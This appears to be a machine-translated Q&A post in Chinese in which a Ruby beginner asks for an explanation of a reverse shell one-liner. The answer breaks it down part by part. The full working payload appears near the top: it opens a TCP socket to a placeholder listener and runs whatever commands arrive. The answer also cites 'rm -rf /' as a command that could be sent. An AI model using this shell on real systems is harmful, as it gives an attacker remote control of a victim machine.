我是Ruby的新手,它试图更好地理解这种反向shell单行代码,其设计用于连接回Netcat侦听器。
有人可以尝试将命令分解并解释一些代码实际做什么吗?例如,我知道“ TCPSocket.new”会创建新的TCP套接字,但是“ cmd = c.gets”,“ IO.popen”,“ | io | c.print io.read”等是什么。 while
循环的目的?
ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
答案 0 :(得分:6)
好,让我们分解一下。
ruby
运行ruby解释器,您可能知道该部分
-rsocket
等同于require "socket"
(要求r
)
-e "some string"
将some string
作为ruby脚本运行(e
用于执行)
while(cmd=c.gets)
的意思是“当gets
(直到下一个换行符并包含下一个换行符)从连接c
返回某些内容时,即,在有数据输入时,将其分配给cmd
并..
IO.popen(cmd,'r'){|io|c.print io.read}
..作为外壳程序命令运行cmd
,读取输出,然后print
将其返回到连接c
。
因此,实际上,可以通过网络接收命令(例如ls .
或rm -rf /
),将其读入,运行,获取输出并发送回去。继续这样做,直到另一端停止发送命令为止。
由于gets
将阻塞并等待下一行的到来,因此该单层衬板将一直坐在那里,直到连接关闭。
可能不想让其他人通过该连接发送命令,因为它可以运行他们直接在您的计算机上发送的任何内容,尽管这大概就是您所说的“反向外壳”。